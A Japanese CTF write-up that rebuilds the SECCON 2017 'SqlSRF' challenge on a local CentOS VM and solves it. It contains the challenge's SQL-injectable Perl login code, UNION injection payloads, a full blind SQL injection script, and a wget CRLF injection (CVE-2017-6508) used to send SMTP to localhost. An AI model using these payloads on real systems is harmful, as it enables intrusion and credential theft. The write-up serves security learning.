SECCON 2017 online CTF の問題がGitHubで公開されたので、これを後追いでやってみた記事になります。
後追い記事の一覧はこちら
SECCON 2017 online CTF を後追いでみっちりやってみよう!
今回は環境構築がかなり手探り感ありました。なんなら環境構築がメインだったかもしれない。
問題
SqlSRF The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root. http://sqlsrf.pwn.seccon.jp/sqlsrf/
今回はwrite-up記事からだいぶ転用しています。
事前調査
http://sqlsrf.pwn.seccon.jp/sqlsrf/
ここへアクセスしてみるも、2018/3/2 現在では環境は閉じられてしまった模様。
環境構築から始める。
環境構築
SECCONのgithubに置いてある環境構築用ディレクトリのbuildを使って環境を構築します。
かなり手順書っぽくなってしまった。。。
OSの選定、構成把握
$ cd SECCON2017_online_CTF/web/400_SqlSRF/build/var/www/html/sqlsrf /build $ ls etc root tmp var
それぞれのディレクトリ構成を見る限り、Apache+CentOS用の設定っぽい。
ここを参照
他のOSでApacheを立てて、設定ファイルなどをよしなに書き換える手もなくはないが、動かなかったときのデバッグが激辛そうなので(攻撃が成功していないのか、環境構築時のバグなのかも切り分けづらそう・・・!)CentOSのVM上で実行するのが良さそう。
※ 実はCentOS7のGUI(GNOME Desktop)がうまく入らず、Mac本体やUbuntuVMで構築を試みたが、後々絶対辛い!と何度か思い直してCentOSに戻ってきた。
そして、Apacheのversionは、httpd.confに書いてあるので 2.4
系。
今回は下記の環境で構築しました。
OS: CentOS 7 (on VirtualBox) CUIモード Apache: version 2.4.6
CentOS 7 on VirtualBox の構築自体は下記記事を参照。
ネットワーク設定を最初からしておいたほうが良いので、VirtualBoxの対象VM設定で
設定 > ネットワーク > 割り当て
を、NATにしておく。
そして、OS install中の最後の方の画面で、ネットワークの設定をONにしておく。
VM再起動後、rootでログインしてyum update
しておく。
※以下、全部rootログイン。
# yum -y update
共有フォルダを使いたい場合は、ゲストOSの Devices > Insert Guest Additions CD image を実施し、下記を追加で実施。
# yum -y install gcc perl bzip2 kernel-devel # mount /dev/cdrom /mnt/cdrom # sh /mnt/cdrom/VBoxLinuxAdditions.run # shutdown -r now
CUI設定のままだとエラーが出るが、共有フォルダの設定ができていれば問題ない。
共有フォルダ確認。
# ls /media/ sf_vm_share
Apacheの設定・起動
Apacheを入れる。
# yum -y install httpd # httpd version Server version: Apache/2.4.6 (CentOS) Server built: Oct 19 2017 20:39:16
2.4.6
系が入っていればOK。
設定ファイルを今回のSqlSRF用に置き換える。
まずはソースのclone。
# yum -y install git # ssh-keygen -t rsa 作成された ~/.ssh/id_rsa.pub をGitHubに登録 # git clone git@github.com:SECCON/SECCON2017_online_CTF.git # cd SECCON2017_online_CTF/web/400_SqlSRF/build
httpd.confはbackupを取って、それ以外はそのままcopy
# cp /etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf.back # cp ./etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf # cp -r ./root/* ~/ # cp -r ./tmp/* /tmp # cp -r ./var/www/html/sqlsrf /var/www/html/
Apache起動
# systemctl start httpd.service
起動確認
# systemctl status httpd.service
Active: active (running)
が返ってくればOK。
接続確認
$ curl localhost:80/sqlsrf/ > /media/sf_vm_share/test.html
こんなhtmlが出力されていればOK
アイコンが表示されないのはリンク先がないから当然として、 _
から始まるファイルが余分に表示されてしまっている・・・。
気になるので var/www/html/sqlsrf/index.cgi
などソースをざっと読んでみたところ、どうやら _
から始まるファイルは .
始まりにリネームする必要があるようだ。
ゲスト側で、sqlsrf配下の _
始まりファイルを .
始まりにリネームする
# cd /var/www/html/sqlsrf # rename _ . _* # ls -a
もし、you don't have permission to access
のエラーが出た場合は、 httpd.conf
が書き換わっていないか、何処かで /var/www/http/sqlsrf
配下のアクセス権が変わってしまっている可能性がある。
アクセス権はすべて 755 になっているのが正解(元ファイルと同じという意味で)。
# find /var/www/http/sqlsrf -type f -exec chmod 755 {} \;
ホストOSからアクセスできるようにする
上記を参考に設定、ホスト側のポートは仮に 8888
とする。
設定後に再度CentOS VMを立ち上げ、Apacheサーバーを起動、ホストからゲスト(CentOS VM)のサービスにアクセス
※ホストOSから
$ curl localhost:8888/sqlsrf/ curl: (52) Empty reply from server
あれ、返信なし。
/var/log/httpd/access_log
を確認してみると、ここまでアクセスが来ていない。
調べてみると、どうやらFirewallのDaemonが動いていて、こいつにブロックされている模様。
ちゃんとやり方はありそうだが、ひとまずFirewallを切ることにする。
# systemctl stop firewalld # systemctl disable firewalld # SELINUX=disabled
index.cgiを動かす
そのまま index.cgi
へアクセスすると、internal server error発生。
errorログを調査したところ
AH01215: Can't locate CGI.pm in @INC (@INC contains: /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 .) at /var/www/html/sqlsrf/index.cgi line 3., referer: http://localhost:8888/sqlsrf/
ということで、CGI.pm
というのがいるらしい。
# yum -y install perl-CGI
これだけではまだエラーが発生したので、追加で足りないモジュールをinstall
# yum -y install perl-CGI-Session # yum -y install perl-Crypt-CBC
CentOS 7 向けの Crypt::Rijndael を ここから DL し、CentOS 7 上に配置
配置したディレクトリで下記を実施
# rpm -Uvh perl-Crypt-Rijndael-1.12-1.el7.x86_64.rpm
# yum -y install perl-DBD-SQLite
これでなんとか動いていそう! まとめると、下記のinstallが追加で必要だった
menu.cgiを動かす
※攻撃の方を進めていかないとmenu.cgiの動作確認はできないです。
menu.cgiを動かすには、 netstat
や wget
が必要。
しかしどうやら CentOS 7 では netstat
は非推奨で、代わりに iproute2
というのを使うらしい。
が、そうは言っても今回は netstat
を動くようにするのが目的なので、下記を参考にinstall。
* Qiita / CentOS7から変わったネットワーク系のコマンド
# yum -y install net-tools # netstat --version net-tools 2.10-alpha ...
wgetも
# yum -y install wget # wget --version GNU Wget 1.14 built on linux-gnu. ...
postfix3.2.4のコンパイル & インストール
更に問題を進めていくと、メールサーバーを起動させておく必要が有ることがわかる。
buildソースを確認すると、 build/tmp
に postfix-3.2.4
なるdirectoryがあり、 build/tmp/postfix-3.2.4/src/smtpd/smtpd.c
が配置されている。
これで既存のソースファイルを置き換えてコンパイルし直す必要があるっぽい。
ということで、まずはpostfixのversion確認
# postconf | grep mail_version mail_version = 2.1.x
※キャプチャ忘れたのでマイナーバージョン以下はうろ覚え。CentOS7では標準で2系が入っている模様
起動しているっぽいpostfixを停止しておく
# postfix stop
postfixのdownload Code De.co: CentOSでPostfixをアップデートする方法
# cd ~/ # wget http://cdn.postfix.johnriley.me/mirrors/postfix-release/official/postfix-3.2.4.tar.gz # tar zxvf postfix-3.2.4.tar.gz # cd postfix-3.2.4 # make
何やら install the appropriate db*-devel package first
との文言が出てきてエラーになった・・・!
# yum install -y db*-devel # make clean
まだエラー No <db.h> include file found.
と言われている。
調べてみると、Oracle Berkeley DB というのが必要らしい。
Oracleに買収されてOracleが管理しているそうだが、Oracleアカウントを登録(無料)しないと落とせなかった。ちなみにOracleアカウント登録時のパスワード設定、記号が使えなかった。
このあたりを参考にinstall。
* Symfoware: Oracle Berkeley DBをCentOS5.4にインストールする
* SE&ビジネスパーソンとしてお勉強中なブログ: Berkeley DB(4.6.21)をソースからインストール [Linux]
まずは下記サイトからモジュールのダウンロード
* Oracle Berkeley DB ダウンロード
今回は6.2.32をダウンロード。
vmのshareフォルダに配置します。以下、vm(CentOS)側のコマンド。
ビルドにえらい時間かかった・・・!
# cp /media/sf_vm_share/db-6.2.32.tar.gz ~/ # cd ~/ # tar zxvf db-6.2.32.tar.gz # cd db-6.2.32 # cd build_unix/ # ../dist/configure # make # make install # cp /usr/local/BerkeleyDB.6.2/include/db.h /usr/include/ # ln -s /usr/local/BerkeleyDB.6.2/lib/* /usr/lib
これで Berkeley DB の設定ができたので、postfixの方に戻ってbuild
buildの中にpostfix用のソースファイルがあるので、置き換えておく。
# cd ~/postfix-3.2.4 # mv src/smtpd/smtpd.c src/smtpd/smtpd.c.back # cp /tmp/src/smtpd/smtpd.c ./src/smtpd/ # make # make install
途中で libdb-6.2.so: cannot open shared object file: No such file or directory
的なエラーが出たので、
# ldd ~/postfix-3.2.4/vin/postconf 中略 libdb-6.2.so => not found 中略
あれ、確かに libdb-6.2.so
がリンクされていない。
# vi /etc/ld.so.conf.d/berkeleydb.6.2.conf 下記一行だけのファイルを作成 /usr/local/BerkeleyDB.6.2/lib # ldconfig
リンクされたことを確認して、再度 make install
# ldd ~/postfix-3.2.4/vin/postconf linux-vdso.so.1 => (0x00007ffc78ffb000) libpcre.so.1 => /lib64/libpcre.so.1 (0x00007fc21eaf6000) libdb-6.2.so => /usr/local/BerkeleyDB.6.2/lib/libdb-6.2.so (0x00007fc21e6fb000) libnsl.so.1 => /lib64/libnsl.so.1 (0x00007fc21e4e1000) libresolv.so.2 => /lib64/libresolv.so.2 (0x00007fc21e2c7000) libdl.so.2 => /lib64/libdl.so.2 (0x00007fc21e0c3000) libc.so.6 => /lib64/libc.so.6 (0x00007fc21dcff000) libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fc21dae3000) /lib64/ld-linux-x86-64.so.2 (0x0000563b4ba7c000) # make install
postfixのversion確認
# postconf | grep mail_version mail_version = 3.2.4
無事3.2.4にアップデートされました!
起動することを確認
# postfix start
仮想環境の再起動後は自動で立ち上がるのでコマンド打つ必要なし。
postfix3.2.4の設定
実際に今回の用途で使える形にするには、配布されたforward設定用ファイルのセッティングやOP25B対策が必要なのであった。課題多し。
下記コマンドで以下のことを実施。
- /root/_forward を root/.forward にrename
- /root/mail.pl の
ymzk01
をlocalhost
に変更 - /root/mail.plの権限を755に
- /root と /root/mail.pl の owner を chown nobody:nobody に
# mv /root/_forward /root/.forward # vi /root/mail.pl `ymzk01` を `localhost` に変更 # chmod 755 /root/mail.pl # chown nobody:nobody /root # chown nobody:nobody /root/mail.pl
多くの人がgmailを使うという想定で、今回はgmailだけ対応できていればよしとする。
以下は自分でメールサーバー立ててたりする場合は不要。
で、こんなエラーが出ており、肝心のgmailにメールが送信できない
postfix/smtp[xxxx]: connect to gmail-smtp-in.l.google.com[xxxx:xxxx:xxxx:xxxx::xxxx]:25: Network is unreachable
下記に理由と解決策が載っていた。が、色々条件が違うので原因と方針だけ拝借。まとめるとこんな感じ。
IThaiのブログ: Postfixでgmailにメール送信
* gmailはOP25Bを実施しているので直接25番portでSMTPできない
* submissionポートの587を使って通信+認証も通すように設定
必要なライブラリのインストール
# yum -y install cyrus-sasl cyrus-sasl-plain cyrus-sasl-md5 cyrus-sasl-devel # rpm -qa|grep cyrus-sasl cyrus-sasl-devel-2.1.26-21.el7.x86_64 cyrus-sasl-md5-2.1.26-21.el7.x86_64 cyrus-sasl-lib-2.1.26-21.el7.x86_64 cyrus-sasl-plain-2.1.26-21.el7.x86_64 cyrus-sasl-2.1.26-21.el7.x86_64 # yum -y install openssl-devel
postfixの再コンパイル&インストール。
ここを参考に。null-i.net: Linux/postfix、dovecotのSSL対応
# make tidy # make makefiles \ CCARGS=' \ -DUSE_TLS \ -I/usr/local/include \ -DUSE_SASL_AUTH \ -DUSE_CYRUS_SASL \ -I/usr/include/sasl \ ' \ AUXLIBS=" \ -L/usr/local/lib64 \ -lssl \ -lcrypto \ -L/usr/local/lib \ -lsasl2 \ " # make # make install
設定ファイルの書き換え
ここを参考に。Qiita@hkato: PostfixのメールをGMail経由で送る
- main.cf
# vi /etc/postfix/main.cf
末尾に次の設定を追加、GMailを中継先にしTLSを使いSMTP認証(PLAIN)にする。
# GMail relayhost = [smtp.gmail.com]:587 smtp_use_tls = yes smtp_tls_CApath = /etc/pki/tls/certs/ca-bundle.crt smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd smtp_sasl_tls_security_options = noanonymous smtp_sasl_mechanism_filter = plain
認証ユーザの設定
# vi /etc/postfix/sasl_passwd
中継先SMTPアドレス:ポート 認証ユーザ名:パスワード を設定
ここで設定したユーザーとして送信される。
[smtp.gmail.com]:587 <gmail_address>:<password>
# postmap hash:/etc/postfix/sasl_passwd
設定反映
# postfix reload
postfixの設定...えらい骨が折れた!!
途中もう少しショートカットできるけど(コンパイル数回やっている・・・)もういいや!本当はもっと回り道しています。
これで環境の出来上がり。
ネットワークの設定をゴニョっとすれば、仲間内や社内メンバーで楽しめそう。
ちなみに、仮想環境起動時のコマンドは下記。※起動コマンドに設定しておけば打つ必要なし。
# systemctl start httpd.service # systemctl status httpd.service
解法
まずはググる。SQL関連のワードでSRFというと
Set Returning Functions
というのがヒットする。
関係あるのかしら。
http://sqlsrf.pwn.seccon.jp/sqlsrf/
※今回はlocalにサーバーを立てたので http://localhost:8888/sqlsrf/
にアクセスすると、以下のページが表示される
index.cgiにアクセスすると、ログイン画面が表示。ログイン情報を持っていないと、menu.cgiにアクセスしてもリダイレクトされてlogin画面に飛ばされる。
適当にlogin名を入れてloginボタンを押して見ると、こんなメッセージが。
次に、index.cgi_backup20171129
にアクセスして見ると、index.cgiと思われるperlのソースコードが。
#!/usr/bin/perl use CGI; my $q = new CGI; use CGI::Session; my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'}); $s->expire('+1M'); require './.htcrypt.pl'; my $user = $q->param('user'); print $q->header(-charset=>'UTF-8', -cookie=> [ $q->cookie(-name=>'CGISESSID', -value=>$s->id), ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef) ]), $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black'); $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne ''); my $errmsg = ''; if($q->param('login') ne '') { use DBI; my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB'); my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';"); $errmsg = '<h2 style="color:red">Login Error!</h2>'; eval { $sth->execute(); if(my @row = $sth->fetchrow_array) { if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) { $s->param('autheduser', $q->param('user')); print "<scr"."ipt>document.location='./menu.cgi';</script>"; $errmsg = ''; } } }; if($@) { $errmsg = '<h2 style="color:red">Database Error!</h2>'; } $dbh->disconnect(); } $user = $q->escapeHTML($user); print <<"EOM"; <!-- The Kusomon by KeigoYAMAZAKI, 2017 --> <div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;"> </div> <div style="position:relative;top:300px;color:white;text-align:center;"> <h1>Login</h1> <form action="?" method="post">$errmsg <table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;"> <tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr> <tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr> <tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr> <tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr> </table> </form> </div> </body> </html> EOM 1;
どうやらログイン時のUsername
の値を、直接DBの検索クエリに使用している。ここが一つ攻撃ポイントっぽい。
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
試しに、sql injectionの簡単なやつをUsername欄に入れてloginしてみる
Username: kusuwada"' OR 1 = 1'"
Password:
こんな画面が現れた。エラーメッセージが変わった。
ほう、Databaseまでちゃんとアクセスしに行ってくれたのか。えらいえらい。ということで、なんしか SQL injection
できてるようだ。
この先のコードを読んでいくと、認証が成功するとmenu.cgiに飛べることがわかる
if(my @row = $sth->fetchrow_array) { if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
この条件式をクリアすれば認証成功。
第一関門 index.cgi の認証を突破し menu.cgi を表示させる
ということで、index.cgi
の認証を突破し、menu.cgi
にたどり着くのを第一関門と勝手に定義してみました。
上のSELECT文で引っ張ってきた値(本来は暗号化されたpassword)が、入力画面のPassword
に入れた値をencrypt
関数で暗号化したものと一致すれば良い。ただ、サインイン処理が存在しないので、そもそも好きに決めたusernameに対するpasswordはDBに保存されていない。
そのため、"SELECT文で引っ張ってくる値"が"入力画面のPassword
に入れた値をencrypt
関数で暗号化したもの"になるようにUsername
とPassword
を決める。
"SELECT文で引っ張ってくる値"については、SQL Injection可能なことがわかったので、Username
から好きに突っ込むことができる。すなわち、Username
側に暗号化された文字列(がSELECT分で引っかかるようなInjection Command)を、Password
側に平文の文字列を入れると認証が通りそう。
ということで、どうも次ののstepにいくためには、平文の文字列と暗号化した文字列を入手すことが必要なようだ。
どうやったら手に入るのか、ヒントを探す。
※ちなみに、encrypt
関数の中身はindex.cgi.back
には載っていない。
$q->cookie(-name=>'CGISESSID', -value=>$s->id), ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
ここから、save
が1
の時、cookieに remember
:&encrypt($user)
がsetされるらしいということがわかる。
$user
はフォームのUsernameに入れた値なので、RememberMeにチェックをつけて(save==1にするため)loginすると、remember
cookieに暗号化された$user
がセットされる。
同じencrypt関数が使われているので、userだろうがpassだろうが、平文と暗号文の対応が取れればOK。
さらに、
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
ここから、Usernameが空で、remember
のcookieが何かしら書かれている場合、$user
にremember
cookieを復号したものが入ることがわかる。
やってみた。
- 上記の通り、一度
kusuwada
ユーザーでRememberMeをオンにしてログイン remember
cookieにkusuwada
が暗号化されたものがセットされる- ログイン画面で Username, Password, RememberMe 全て空(or off)の状態で
login
実行 - Usernameに
kusuwada
が入る - つまり、
remember
cookieの値がdecodeされてフォームに入力された
おお〜。400点問題でも案外楽しめている。
第一関門突破手順
- 適当なパスワードを決めて、それの暗号文を取得
今回はkusuwada
にすることに。
Username:kusuwada
RememberMe: ON
でloginしてremember
のcookieを確認 ->encrypt("kusuwada")
取得 - 認証を通してlogin
Username:' UNION SELECT "{encrypt(kusuwada)}" --
Password:kusuwada
でlogin
SQL Injectionなんて普段実践することないので、Usernameに入れるクエリの組み立て方はググった。
これにより、プログラム内のクエリは
SELECT password FROM users WHERE username='"' UNION SELECT "{encrypt(kusuwada)}" --"';
となる。
--
は一行コメントの開始と解釈され、以降は無視されるため実質下記のようになり、構文エラーは発生しなくなる
SELECT password FROM users WHERE username='"' UNION SELECT "{encrypt(kusuwada)}"
更に、UNION は左辺と右辺のSQLをつなげる構文で、今回は左辺のクエリは引っかからない想定なので、
SELECT "{encrypt(kusuwada)}"
となり、クエリ結果は {encrypt(kusuwada)}
となります。
cookieの確認方法は以下など参照。こういうことはしばらくやっていないとすぐ忘れてしまう・・・。
1 の手順で、remember
:743f7c045d8853660c482b84f487e01f
がcookieから得られる
2 の手順を実施すると
おお、menu.cgiに移行した!
この画面上のnetstat -tnl
ボタンを押すと、こんな感じでnetstat結果が取得できる
※環境構築の menu.cgiを動かす をやっていないと出てこない
localの25番ポートが開いているようなので、メールが送れそう。
問題文から、
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.
ということなので、"give me flag" というタイトルのメールをrootに投げれば良いようだ。
ただし、2.
のフォームはadminのみが使えるよ、ということで、adminとしてログインし直す必要があるようだ。
いまは' UNION SELECT "743f7c045d8853660c482b84f487e01f" --
とかいうUsernameになっているが、ここがadminになるようにPasswordを探し出すのが次のミッション。
先は長そうだ。。。
第二関門 admin ユーザーで認証を突破する
今回の SQL injection の脆弱性は、DBからの戻り値が直接どこかしらに表示されたり返却されるわけではなく、"認証が成功したか、失敗したか" の情報しかわからない。
こういうときどうすればいいの?ということで、他の方のwrite-up記事やSQL injection周りの情報を調べたところ、どうやら Blind SQL Injection
なる手法があるらしい。
Blind SQL Injection は、普通の SQL injection がある箇所にサブクエリを仕込み、その結果のOK/NGを何らかの方法で確認して情報を得る手法。今回の場合は、認証に成功したか、失敗したか、の情報はエラーメッセージから得ることができるので、これを使ってadmin用のpasswordを推定していくことができる...かも。
Blind SQL Injection について、参考にしたのはこのあたりのサイト
かの徳丸さんも何度か記事を書いたりYahoo!知恵袋で回答されたりしている。
この徳丸さんのYahoo!知恵袋の回答が簡潔で分かりやすかった。
- ブラインドSQLインジェクション攻撃は、SQLインジェクション攻撃の一種である
- ブラインドSQLインジェクション攻撃は、SQLインジェクション脆弱性はあるが、SQLの検索結果が表示されない場合に用いる
- ブラインドSQLインジェクション攻撃によってえられる情報は1ビットしかないので、まとまった情報を得るには、何回も攻撃する必要がある
- ブラインドSQLインジェクション攻撃に対策するには、通常通りSQLインジェクション脆弱性がないようにすればよい
そして、更にBlind SQL Injection の中にも種類があるらしい。
Blind SQL Injectionでは、何かしらの方法でOK/NGがわかるシステムに対して、その反応を見ながら攻撃を試行していくのに対し、それすらもわからないシステムに対して、攻撃SQL文にタイマーを仕掛けて情報を予測する Time-base SQL Injection
というのがあるそうだ。
クエリの中に「○○だったら5秒wait」といった記述をし、攻撃の試行にかかる時間を観測することで、通常のBlind SQL Injectionと同等の情報を得ようとする方法。時間を判定に使うため、通常の方法よりは時間がかかるが、なんの情報も返却してこないシステムにも有効なところがすごい。
それぞれの攻撃の関係図はこんな感じ。
* SQL Injection: 攻撃に使用したクエリの結果が、直接攻撃者に返却(表示)されるときに有効 * Blind SQL Injection: 攻撃に使用したクエリの結果は攻撃者に返却されないが、クエリの成否など間接的な結果が返却されるときに有効 * Time-base SQL Injection: 攻撃に使用したクエリの結果や成否など、なんの情報も攻撃者に返却されないときに有効
もちろん下に行くに従って攻撃コストは上がっていくわけだけど、使われているらしい文字種別が少なかったり文字数が少なかったりすると、Blindの2つも比較的低コストで情報が取れたりするので、十分有用な攻撃手法。
ということで、今回はBlind SQL Injectionを試してみることに。
Goal:
admin user の password を先頭から一文字ずつ、可能性の有りそうな文字を総当りで試していって合致するか確認。合致した場合だけ、ログインが成功するようにする。
"admin user の password を先頭から一文字ずつ、可能性の有りそうな文字を総当りで試していって合致するか" の条件は下記
WHERE username='admin' AND SUBSTR(password,1,len({try_pass}))='{try_pass}'
上記の条件のtrue/falseに応じて、"ログイン成功 / LoginError が出るようにする" ためには、これまでの試行で手に入れた、ログインに成功する kusuwada
と {encrypt(kusuwada)}
のペアが使える。
' UNION SELECT "{encrypt(kusuwada)}" FROM users WHERE 上記の条件式 --
これで、条件式がtrueの場合はログインに成功、falseの場合はLoginErrorが出る。
' UNION SELECT "{encrypt(kusuwada)}" FROM users WHERE username='admin' AND SUBSTR(password,1,{try_pass})='{try_pass}' --
しかし、これでは先頭から始めていつ(何文字目で)やめればいいかわからない。全部で何文字か予めわかっていると嬉しい。
上記のpasswordの推測と同じように、WHERE句以下を長さを推測する条件式に差し替える
WHERE username='admin' AND LENGTH(password)={try_pass_len}
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests url = "http://localhost:8888/sqlsrf/index.cgi" candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(65, 65+26)] + \ [chr(i) for i in range(97, 97+26)] + ["_"] # print(''.join(candidates)) # 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_ def attack(attack_sql): payload = { 'user': attack_sql, 'pass': 'kusuwada', 'login': 'login', } res = requests.post(url, data=payload) return res def force_attack(try_pass): attack_sql = "' UNION SELECT \"743f7c045d8853660c482b84f487e01f\" FROM users WHERE username='admin' AND SUBSTR(password,1," + str(len(str(try_pass))) + ")='"+ str(try_pass) +"' --" return attack(attack_sql) def pass_len_attack(pass_len): attack_sql = "' UNION SELECT \"743f7c045d8853660c482b84f487e01f\" FROM users WHERE username='admin' AND LENGTH(password)=" + str(pass_len) +" --" return attack(attack_sql) def check_result(res): ## 表示されるエラーメッセージを確認する # NGだった場合は "Login Error!" 表示され、OKだった場合は表示されずにmenu.cgiへのlocationが返却される # そもそもクエリがおかしいときは "Database Error!" if "Login Error!" not in res.text: return True elif "Database Error!" in res.text: print("[ERROR] Query is not work") return False return False #################### ### main ### #################### ## 攻撃SQL文を組み立てる # まずはencryptされたpassの長さを探る try_pass_len = 1 while True: print(try_pass_len) res = pass_len_attack(try_pass_len) if check_result(res): break try_pass_len += 1 print("enc_pass length: " + str(try_pass_len)) # 先頭の文字から一文字ずつ増やして検証していく fix_pass = "" while (len(fix_pass) < try_pass_len): for c in candidates: try_pass = fix_pass + str(c) print(try_pass) res = force_attack(try_pass) if check_result(res): fix_pass += c break print("enc_pass: " + fix_pass)
実行の結果、passの文字数は 32, encryptされたpassは
enc_pass: d2f37e101c0e76bcc90b5634a5510f64
となった。
私の貧弱な2011年モデルのMacBookAirでも、ものの2分で完了。
この値をcookieのrememberにセットし直し、ログイン画面からusernameを空にセットしてログイン。すると、decryptしたpassが画面上に表示される。
Yes!Kusomon!!
Username:admin
Password: Yes!Kusomon!!
でログインすると、無事 admin
として menu.cgi 画面にたどり着くことができました。
先程は使えなかった2.の機能が使えるようになっています。
wget --debug -O /dev/stdout 'http://'
というボタンのあとに、
2017.seccon.jp/
と値の入ったフォームが。押してみるとこんなん出てきた(上の方は切れていますがあしからず)
どうやらボタンとフォームの文字列をつなげたものがコマンドとして実行され、
結果が出力されるようだ。
今回は wget [オプション] 'http://2017.seccon.jp'
が実行されたので、2017 SECCON の Topページの情報が取得できている。
第一関門突破時に netstat
コマンドで確認したとおり、localの25番ポートが開いているようなので、メールが送れそう。
第三関門 wgetでrootにメールを送信
ということで、localの25番ポートをおさわりしてみる。
menu.cgi 画面の 2.wget
から
wget --debug -O /dev/stdout 'http://127.0.0.1:25'
出力結果
Setting --output-document (outputdocument) to /dev/stdout DEBUG output created by Wget 1.14 on linux-gnu. URI encoding = 'ANSI_X3.4-1968' Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968) --2018-04-24 03:02:07-- http://127.0.0.1:25/ Connecting to 127.0.0.1:25... connected. Created socket 4. Releasing 0x00000000020a1c20 (new refcount 0). Deleting unused 0x00000000020a1c20. ---request begin--- GET / HTTP/1.1 User-Agent: Wget/1.14 (linux-gnu) Accept: */* Host: 127.0.0.1:25 Connection: Keep-Alive ---request end--- HTTP request sent, awaiting response... ---response begin--- ---response end--- 200 No headers, assuming HTTP/0.9 Registered socket 4 for persistent reuse. Length: unspecified Saving to: '/dev/stdout' 220 localhost.localdomain ESMTP Postfix 502 5.5.2 Error: command not recognized 502 5.5.2 Error: command not recognized 502 5.5.2 Error: command not recognized 502 5.5.2 Error: command not recognized 502 5.5.2 Error: command not recognized 500 5.5.2 Error: bad syntax
この出力情報から、サーバーでpostfixがメーラーとして動いていることが確認できる。
さて、このフォームからはwgetしか使えないが、メールをrootに送信するためにはhttpではなくてsmtpプロトコルとして送る必要がある。
パイプで簡単なコマンドを繋いでみたが、キャンセルされた。そんなに簡単には行かないか・・・!
ここから先は知識がないのでぐぐって探そうとしたのだけども、後追いの悲しさよ、write-up記事ばかり出てくるので割り切ってそこから拝借。
どうやら wget の脆弱性で改行コードが挿入できてしまうというのがあるらしく(CVE-2017-6508)、これを利用するとwgetでcookieがset出来ちゃったりするようだ。(*2 参照) ということは、同様にしてsmtpプロトコルも送れそう。
1. CVE-2017-6508: wget: CRLF injection in the url_parse function in url.c
2. [Bug-wget] Vulnerability Report - CRLF Injection in Wget Host Part
* 上記脆弱性情報のサイトからの攻撃コードReference
3. Orange Tsai: A New Era of SSRF - Exploiting URL Parser in
Trending Programming Languag
下記、WikipediaのSMTPの簡素な構文を参考に、メールを組み立ててみる * Wikipedia: Simple Mail Transfer Protocol
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import urllib.parse MAIL = 'kusuwada@example.com' commands = [ 'HELO 127.0.0.1', 'MAIL FROM: ' + MAIL, 'RCPT TO: root', 'DATA', 'From: ' + MAIL, 'To: root', 'Subject: give me flag', '', 'Body', '.', 'QUIT', ] smtp_data = urllib.parse.quote('\n'.join(commands)) # wgetの脆弱性はhost部に改行が挿入できる attack_data = '127.0.0.1' \ + urllib.parse.quote('\r\n') \ + smtp_data \ + urllib.parse.quote('\n') \ + ':25' print(attack_data)
メール分を組み立てて、それを wget
で指定するHostの後、Portの前に突っ込む。
これで出力された文字列を、今表示中の manu.cgi の wget のフォームに入力して wget
実行(っぽいボタンを押す)
wget --debug -O /dev/stdout 'http://{今回作成した文字列}'
すると、fromにしていたアドレスに、下記のようなメールが!(サーバー側の認証も同じアドレスで行っていたので、自分から自分へのメールになってしまったが・・・)
あとはこの通知された Encrypted-FLAG
を、index.cgi ページの remember
cookie に設定してページをリロードすると、Username欄にフラグがdecryptされて出現
SECCON{SSRFisMyFriend!}
感想
とにかく環境構築にかなり時間を割いた。ただ、SECCONを後追いでやってるとどうしてもヒントや解法が目に入ってしまったり、それを見て解いてしまいたい気持ちに襲われるのを我慢するのが大変だけども、今回の環境構築については完全に手探りだったので、答えが書いていないものを探していく感覚が楽しかった。
※って何処かに構築手順書いてあったらおまぬけもいいところですが・・・
お陰様で久しぶりにCentOS触ったし、postfixも初めて触れた。まさかここで OP25B
に阻まれ、サブミッションポート+認証で回避、を実践することになるとは思いもしなかったけどとっても良い経験でした。
肝心の本筋(Capture the Flag)の方も、どれも勉強になる題材だったし、奇抜なところ(エスパー能力が必要なところ)もなくて良かった。興味のある分野の問題だったのも大きいかもしれない。